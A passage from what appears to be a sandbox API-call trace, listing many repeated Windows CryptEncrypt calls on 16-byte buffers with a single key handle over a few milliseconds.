pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.845] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.846] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.847] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.848] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 